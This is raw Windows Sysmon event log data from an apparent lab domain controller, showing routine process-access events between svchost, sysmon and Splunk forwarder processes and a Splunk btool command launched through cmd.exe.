09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005046Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005045Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005044Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-1301-000000007F01}2660C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005043Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-294F-5F80-1201-000000007F01}41884184C:\Windows\system32\cmd.exe{A5F018FF-294F-5F80-1301-000000007F01}2660C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005042Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.626{A5F018FF-294F-5F80-1301-000000007F01}2660C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294F-5F80-1201-000000007F01}4188C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list kvstore --no-log 10341000x80000000000000005041Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-1201-000000007F01}4188C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005040Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005039Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005038Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005037Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005036Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005035Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005034Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005033Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005032Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005031Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-1201-000000007F01}4188C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005030Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-294F-5F80-0B01-000000007F01}48362776C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-294F-5F80-1201-000000007F01}4188C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+6665|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+14ab4|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+d1d8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005029Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.622{A5F018FF-294F-5F80-1201-000000007F01}4188C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294F-5F80-0B01-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args 10341000x80000000000000005028Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.587{A5F018FF-294F-5F80-1101-000000007F01}24642236C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005027Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-1101-000000007F01}2464C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005026Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005025Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005024Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005023Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005022Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005021Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.337{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005020Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 